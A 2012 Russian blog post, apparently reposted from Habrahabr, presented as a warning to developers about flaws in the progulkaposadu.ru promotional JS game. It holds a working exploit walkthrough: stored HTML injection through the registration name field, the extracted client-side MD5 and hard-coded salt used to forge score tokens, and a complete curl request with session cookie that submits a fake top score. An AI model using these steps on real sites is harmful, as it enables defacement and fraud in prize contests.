Как не стоит делать js-игры, разбор ошибок progulkaposadu.ru

5 Май
2012

Недавно наткнулся на рекламную акцию progulkaposadu.ru.
Сразу в глаза бросились очевидные ошибки, о которых я и хочу написать, дабы начинающие разработчики не наступали на эти грабли, и клиенты заказывающие у них эти проекты не теряли нервы и деньги. Описанные ниже ошибки, позволяют сделать дефейс сайта за пару минут, и как побочный эффект занять первое место в игре и соответственно выиграть кучу сока.
Подробности под катом.

Итак, самое вопиющие и бросающееся в глаза это возможность при регистрации в поле фио указывать html код, которые свободно пропускается валидаторами и в этом же виде выводит в общем списке.
Итак, для дефейса нам осталось, всего лишь занять первое место в игре.

Поиграв пару минут с фаербагом, можно увидеть что после раунда игры, результат отправляется обычным не шифрованным постом, параметрами о назначении которых можно догадаться, и как классика жанра — хеш всех данных.
Нетрудно догадаться что хеш может быть сформирован в данном случае только на стороне js. Немного покопавшись можно найти единственную библиотеку которая за это отвечает. game.progulkaposadu.ru/js/production.js, благо ее догадались хотя бы запаковать. Далее идем на сайт jsbeautifier.org, распаковываем код, и извлекаем функции для генерации хеша:

c_MD5 = function (a) {
function b(a, b) {
return a << b | a >>> 32 - b
}

function c(a, b) {
var c, d, e, f, g;
return e = a & 2147483648, f = b & 2147483648, c = a & 1073741824, d = b & 1073741824, g = (a & 1073741823) + (b & 1073741823), c & d ? g ^ 2147483648 ^ e ^ f : c | d ? g & 1073741824 ? g ^ 3221225472 ^ e ^ f : g ^ 1073741824 ^ e ^ f : g ^ e ^ f
}

function d(a, b, c) {
return a & b | ~a & c
}

function e(a, b, c) {
return a & c | b & ~c
}

function f(a, b, c) {
return a ^ b ^ c
}

function g(a, b, c) {
return b ^ (a | ~c)
}

function h(a, e, f, g, h, i, j) {
return a = c(a, c(c(d(e, f, g), h), j)), c(b(a, i), e)
}

function i(a, d, f, g, h, i, j) {
return a = c(a, c(c(e(d, f, g), h), j)), c(b(a, i), d)
}

function j(a, d, e, g, h, i, j) {
return a = c(a, c(c(f(d, e, g), h), j)), c(b(a, i), d)
}

function k(a, d, e, f, h, i, j) {
return a = c(a, c(c(g(d, e, f), h), j)), c(b(a, i), d)
}

function l(a) {
var b, c = a.length,
d = c + 8,
e = (d - d % 64) / 64,
f = (e + 1) * 16,
g = Array(f - 1),
h = 0,
i = 0;
while (i < c) b = (i - i % 4) / 4, h = i % 4 * 8, g[b] = g[b] | a.charCodeAt(i) << h, i++;
return b = (i - i % 4) / 4, h = i % 4 * 8, g[b] = g[b] | 128 << h, g[f - 2] = c << 3, g[f - 1] = c >>> 29, g
}

function m(a) {
var b = "",
c = "",
d, e;
for (e = 0; e <= 3; e++) d = a >>> e * 8 & 255, c = "0" + d.toString(16), b += c.substr(c.length - 2, 2);
return b
}

function n(a) {
a = a.replace(/\r\n/g, "\n");
var b = "";
for (var c = 0; c < a.length; c++) {
var d = a.charCodeAt(c);
d < 128 ? b += String.fromCharCode(d) : d > 127 && d < 2048 ? (b += String.fromCharCode(d >> 6 | 192), b += String.fromCharCode(d & 63 | 128)) : (b += String.fromCharCode(d >> 12 | 224), b += String.fromCharCode(d >> 6 & 63 | 128), b += String.fromCharCode(d & 63 | 128))
}
return b
}

var o = Array(),
p, q, r, s, t, u, v, w, x, y = 7,
z = 12,
A = 17,
B = 22,
C = 5,
D = 9,
E = 14,
F = 20,
G = 4,
H = 11,
I = 16,
J = 23,
K = 6,
L = 10,
M = 15,
N = 21;
a = n(a), o = l(a), u = 1732584193, v = 4023233417, w = 2562383102, x = 271733878;
for (p = 0; p < o.length; p += 16) q = u, r = v, s = w, t = x, u = h(u, v, w, x, o[p + 0], y, 3614090360), x = h(x, u, v, w, o[p + 1], z, 3905402710), w = h(w, x, u, v, o[p + 2], A, 606105819), v = h(v, w, x, u, o[p + 3], B, 3250441966), u = h(u, v, w, x, o[p + 4], y, 4118548399), x = h(x, u, v, w, o[p + 5], z, 1200080426), w = h(w, x, u, v, o[p + 6], A, 2821735955), v = h(v, w, x, u, o[p + 7], B, 4249261313), u = h(u, v, w, x, o[p + 8], y, 1770035416), x = h(x, u, v, w, o[p + 9], z, 2336552879), w = h(w, x, u, v, o[p + 10], A, 4294925233), v = h(v, w, x, u, o[p + 11], B, 2304563134), u = h(u, v, w, x, o[p + 12], y, 1804603682), x = h(x, u, v, w, o[p + 13], z, 4254626195), w = h(w, x, u, v, o[p + 14], A, 2792965006), v = h(v, w, x, u, o[p + 15], B, 1236535329), u = i(u, v, w, x, o[p + 1], C, 4129170786), x = i(x, u, v, w, o[p + 6], D, 3225465664), w = i(w, x, u, v, o[p + 11], E, 643717713), v = i(v, w, x, u, o[p + 0], F, 3921069994), u = i(u, v, w, x, o[p + 5], C, 3593408605), x = i(x, u, v, w, o[p + 10], D, 38016083), w = i(w, x, u, v, o[p + 15], E, 3634488961), v = i(v, w, x, u, o[p + 4], F, 3889429448), u = i(u, v, w, x, o[p + 9], C, 568446438), x = i(x, u, v, w, o[p + 14], D, 3275163606), w = i(w, x, u, v, o[p + 3], E, 4107603335), v = i(v, w, x, u, o[p + 8], F, 1163531501), u = i(u, v, w, x, o[p + 13], C, 2850285829), x = i(x, u, v, w, o[p + 2], D, 4243563512), w = i(w, x, u, v, o[p + 7], E, 1735328473), v = i(v, w, x, u, o[p + 12], F, 2368359562), u = j(u, v, w, x, o[p + 5], G, 4294588738), x = j(x, u, v, w, o[p + 8], H, 2272392833), w = j(w, x, u, v, o[p + 11], I, 1839030562), v = j(v, w, x, u, o[p + 14], J, 4259657740), u = j(u, v, w, x, o[p + 1], G, 2763975236), x = j(x, u, v, w, o[p + 4], H, 1272893353), w = j(w, x, u, v, o[p + 7], I, 4139469664), v = j(v, w, x, u, o[p + 10], J, 3200236656), u = j(u, v, w, x, o[p + 13], G, 681279174), x = j(x, u, v, w, o[p + 0], H, 3936430074), w = j(w, x, u, v, o[p + 3], I, 3572445317), v = j(v, w, x, u, o[p + 6], J, 76029189), u = j(u, v, w, x, o[p + 9], G, 3654602809), x = j(x, u, v, w, o[p + 12], H, 3873151461), w = j(w, x, u, v, o[p + 15], I, 530742520), v = j(v, w, x, u, o[p + 2], J, 3299628645), u = k(u, v, w, x, o[p + 0], K, 4096336452), x = k(x, u, v, w, o[p + 7], L, 1126891415), w = k(w, x, u, v, o[p + 14], M, 2878612391), v = k(v, w, x, u, o[p + 5], N, 4237533241), u = k(u, v, w, x, o[p + 12], K, 1700485571), x = k(x, u, v, w, o[p + 3], L, 2399980690), w = k(w, x, u, v, o[p + 10], M, 4293915773), v = k(v, w, x, u, o[p + 1], N, 2240044497), u = k(u, v, w, x, o[p + 8], K, 1873313359), x = k(x, u, v, w, o[p + 15], L, 4264355552), w = k(w, x, u, v, o[p + 6], M, 2734768916), v = k(v, w, x, u, o[p + 13], N, 1309151649), u = k(u, v, w, x, o[p + 4], K, 4149444226), x = k(x, u, v, w, o[p + 11], L, 3174756917), w = k(w, x, u, v, o[p + 2], M, 718787259), v = k(v, w, x, u, o[p + 9], N, 3951481745), u = c(u, q), v = c(v, r), w = c(w, s), x = c(x, t);
var O = m(u) + m(v) + m(w) + m(x);
return O.toLowerCase()
};
var r = function (a) {
var b = c_MD5(a),
c = "_sadyTeaM123_",
d = c + "." + b;
return c_MD5(d)
}


Далее, нехитрыми действиями в браузере генерируем нужный нам хеш:
console.log(r(«points=1400&red=0&green=1400&skipped=0&time=270»));

Далее осталось только отправить запрос. Я использовал curl в линуксовской консоле

curl -A «Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0» -b «PHPSESSID=78ueenj81em5rc1393kdtrcf31» -d «green=520&points=764&red=0&skipped=0&time=1293» -H «X-Requested-With:XMLHttpRequest» -H «Accept:application/json, text/javascript, */*; q=0.01» -H «security-token:b9917912f9df61830ba3e3bc176adae9» game.progulkaposadu.ru/scores/

PHPSESSID, берем из куков, предварительно авторизовавшись на сайте.
security-token, наш хеш

Таким образом, зарегистрировав пользователя в ФИО которого будет содержатся наш html для дефейса, мы выводим в топ, все зашедшие пользователи будут видеть вашу html вставку.

На этом все.
По материалам Хабрахабр.



загрузка...

Комментарии:

Наверх